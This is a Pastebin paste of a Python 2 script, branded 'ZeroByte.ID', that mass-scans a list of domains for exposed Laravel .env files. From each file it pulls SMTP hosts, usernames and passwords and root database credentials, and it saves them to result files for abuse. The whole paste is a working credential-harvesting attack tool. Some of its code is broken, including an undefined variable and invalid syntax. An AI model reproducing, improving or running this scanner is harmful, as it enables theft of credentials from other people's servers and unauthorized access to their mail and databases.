Advertisement
Guest User

Untitled

a guest
Apr 11th, 2019
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.83 KB | None | 0 0
  1. import threading
  2. import requests
  3. import random
  4. import datetime
  5. import re
  6. from multiprocessing import Pool
  7. from multiprocessing.dummy import Pool as ThreadPool
  8. from time import time as timer
  9.  
  10. class bcolors:
  11.  
  12. HEADER = '\033[95m'
  13.  
  14. OKBLUE = '\033[94m'
  15.  
  16. OKGREEN = '\033[92m'
  17.  
  18. WARNING = '\033[93m'
  19.  
  20. FAIL = '\033[91m'
  21.  
  22. ENDC = '\033[0m'
  23.  
  24. BOLD = '\033[1m'
  25.  
  26. WHITE = '\033[1;37m'
  27.  
  28. print bcolors.WHITE
  29. print"""
  30. __ __
  31. / / ____ __________ __ _____ / /
  32. / / / __ `/ ___/ __ `/ | / / _ \/ /
  33. / /___/ /_/ / / / /_/ /| |/ / __/ /___
  34. /_____/\__,_/_/ \__,_/ |___/\___/_____/
  35. Environment
  36. -- ZeroByte.ID --"""
  37. print bcolors.FAIL + "[ * ] Get SMTP or Access root VPS / DATABASE [ * ]"
  38. print bcolors.ENDC
  39.  
  40. def kuy(lEnVy):
  41.  
  42. try:
  43. eNv = "http://{}/.env".format(lEnVy)
  44.  
  45. headers = {
  46. 'Connection': 'keep-alive',
  47. 'Cache-Control': 'max-age=0',
  48. 'Upgrade-Insecure-Requests': '1',
  49. 'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
  50. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  51. 'Accept-Encoding': 'gzip, deflate',
  52. 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
  53. }
  54.  
  55. rsmTP = requests.get(eNv, headers=headers, allow_redirects=True, timeout=3)
  56.  
  57. if "mailtrap.io" in rsmTP.text:
  58.  
  59. print("\033[1;31;40m")
  60.  
  61. print "[ - ] NOT FOUND SMTP [ - ] \n"
  62.  
  63. elif rsmTP.status_code == 200:
  64.  
  65. if "APP_NAME" in rsmTP.text:
  66.  
  67. UEnVy.write(eNv + '\n')
  68.  
  69. print("\033[1;32;40m")
  70.  
  71. if "MAIL_HOST" in rsmTP.text:
  72.  
  73. SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  74.  
  75. PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  76.  
  77. USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  78.  
  79. PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  80.  
  81. NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  82.  
  83. ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  84.  
  85. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  86.  
  87. if "smtp.mailtrap.io" in SMTP:
  88.  
  89. print("\033[1;31;40m")
  90.  
  91. print "[ - ] NOT FOUND SMTP [ - ] \n"
  92.  
  93. elif "localhost" in SMTP:
  94.  
  95. print("\033[1;31;40m")
  96.  
  97. print "[ - ] NOT FOUND SMTP [ - ] \n"
  98.  
  99. elif "null" in SMTP:
  100.  
  101. print("\033[1;31;40m")
  102.  
  103. print "[ - ] NOT FOUND SMTP [ - ] \n"
  104.  
  105. else:
  106.  
  107. print "[ + ] FOUND SMTP [ + ]"
  108.  
  109. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  110.  
  111. print "SMTP HOST => {}".format(SMTP[0])
  112.  
  113. print "SMTP PORT => {}".format(PORT[0])
  114.  
  115. print "SMTP USERNAME => {}".format(USERNAME[0])
  116.  
  117. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  118.  
  119. print "SMTP NAME => {}".format(NAME[0])
  120.  
  121. print "SMTP EMAIL => {}".format(EMAIL[0])
  122.  
  123. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  124.  
  125. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  126.  
  127. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  128.  
  129.  
  130.  
  131. elif "SMTP_HOST" in rsmTP.text:
  132.  
  133. SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  134.  
  135. PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  136.  
  137. USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  138.  
  139. PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  140.  
  141. NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  142.  
  143. ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  144.  
  145. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  146.  
  147. if "smtp.mailtrap.io" in SMTP:
  148.  
  149. print("\033[1;31;40m")
  150.  
  151. print "[ - ] NOT FOUND SMTP [ - ] \n"
  152.  
  153. elif "localhost" in SMTP:
  154.  
  155. print("\033[1;31;40m")
  156.  
  157. print "[ - ] NOT FOUND SMTP [ - ] \n"
  158.  
  159. elif "null" in SMTP:
  160.  
  161. print("\033[1;31;40m")
  162.  
  163. print "[ - ] NOT FOUND SMTP [ - ] \n"
  164.  
  165. else:
  166.  
  167. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  168.  
  169. print "SMTP HOST => {}".format(SMTP[0])
  170.  
  171. print "SMTP PORT => {}".format(PORT[0])
  172.  
  173. print "SMTP USERNAME => {}".format(USERNAME[0])
  174.  
  175. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  176.  
  177. print "SMTP NAME => {}".format(NAME[0])
  178.  
  179. print "SMTP EMAIL => {}".format(EMAIL[0])
  180.  
  181. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  182.  
  183. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  184.  
  185. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  186.  
  187. elif "mailtrap.io" in rsmTP.text:
  188.  
  189. print("\033[1;31;40m")
  190.  
  191. print "[ - ] NOT FOUND SMTP [ - ] \n"
  192.  
  193. elif "DB_USERNAME=root" in rsmTP.text:
  194.  
  195. ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  196.  
  197. ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  198.  
  199. print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  200.  
  201. REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  202.  
  203.  
  204.  
  205. elif rsmTP.status_code == 302:
  206.  
  207. if "APP_NAME" in rsmTP.text:
  208.  
  209. UEnVy.write(eNv + '\n')
  210.  
  211. if "MAIL_HOST" in rsmTP.text:
  212.  
  213. SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  214.  
  215. PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  216.  
  217. USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  218.  
  219. PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  220.  
  221. NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  222.  
  223. ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  224.  
  225. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  226.  
  227. if "smtp.mailtrap.io" in SMTP:
  228.  
  229. print("\033[1;31;40m")
  230.  
  231. print "[ - ] NOT FOUND SMTP [ - ] \n"
  232.  
  233. elif "localhost" in SMTP:
  234.  
  235. print("\033[1;31;40m")
  236.  
  237. print "[ - ] NOT FOUND SMTP [ - ] \n"
  238.  
  239. elif "null" in SMTP:
  240.  
  241. print("\033[1;31;40m")
  242.  
  243. print "[ - ] NOT FOUND SMTP [ - ] \n"
  244.  
  245. else:
  246.  
  247. print "[ + ] FOUND SMTP [ + ]"
  248.  
  249. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  250.  
  251. print "SMTP HOST => {}".format(SMTP[0])
  252.  
  253. print "SMTP PORT => {}".format(PORT[0])
  254.  
  255. print "SMTP USERNAME => {}".format(USERNAME[0])
  256.  
  257. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  258.  
  259. print "SMTP NAME => {}".format(NAME[0])
  260.  
  261. print "SMTP EMAIL => {}".format(EMAIL[0])
  262.  
  263. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  264.  
  265. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  266.  
  267. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMAIL ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  268.  
  269.  
  270.  
  271.  
  272. elif "SMTP_HOST" in rsmTP.text:
  273.  
  274. SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  275.  
  276. PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  277.  
  278. USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  279.  
  280. PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  281.  
  282. NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  283.  
  284. ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  285.  
  286. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  287.  
  288. if "smtp.mailtrap.io" in SMTP:
  289.  
  290. print("\033[1;31;40m")
  291.  
  292. print "[ - ] NOT FOUND SMTP [ - ] \n"
  293.  
  294. elif "localhost" in SMTP:
  295.  
  296. print("\033[1;31;40m")
  297.  
  298. print "[ - ] NOT FOUND SMTP [ - ] \n"
  299.  
  300. elif "null" in SMTP:
  301.  
  302. print("\033[1;31;40m")
  303.  
  304. print "[ - ] NOT FOUND SMTP [ - ] \n"
  305.  
  306. else:
  307.  
  308. print "[ + ] FOUND SMTP [ + ]"
  309.  
  310. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  311.  
  312. print "SMTP HOST => {}".format(SMTP[0])
  313.  
  314. print "SMTP PORT => {}".format(PORT[0])
  315.  
  316. print "SMTP USERNAME => {}".format(USERNAME[0])
  317.  
  318. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  319.  
  320. print "SMTP NAME => {}".format(NAME[0])
  321.  
  322. print "SMTP EMAIL => {}".format(EMAIL[0])
  323.  
  324. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  325.  
  326. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  327.  
  328. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMAIL ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  329.  
  330.  
  331. elif "DB_USERNAME=root" in rsmTP.text:
  332.  
  333. ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  334.  
  335. ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  336.  
  337. print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  338.  
  339. REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  340.  
  341. else:
  342.  
  343. print bcolors.FAIL + "[ - ] CAN'T FOUND BUG [ - ]"
  344.  
  345. except:
  346.  
  347. pass
  348.  
  349.  
  350. def Main():
  351.  
  352.  
  353. try:
  354.  
  355. start = timer()
  356.  
  357. pp = ThreadPool(6)
  358.  
  359. pr = pp.map(kuy, lEnVy)
  360.  
  361. print bcolors.ENDC
  362.  
  363. print('Time: ' + str(timer() - start) + ' seconds')
  364.  
  365. pr.join()
  366.  
  367. except:
  368.  
  369. pass
  370.  
  371. try:
  372.  
  373. li = raw_input(" [ - ] Input your file domain list : ")
  374.  
  375. lEnVy = open(li, "r").read().split()
  376.  
  377. lEnVy.sort() # Sort (A - Z)
  378.  
  379. except IOError:
  380.  
  381. pass
  382.  
  383. bNyak = len(list(lEnVy)) # Banyak line
  384.  
  385. print " [ + ] Total Domain : {} \n".format(bNyak)
  386. SEnVy = open("SMTP-Result.txt", 'w')
  387. REnVy = open("ROOT-Result.txt", 'w')
  388. UEnVy = open("ENV-URL-Result.txt", 'w')
  389. Main()
  390. SEnVy.close()
  391. REnVy.close()
  392. UEnVy.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement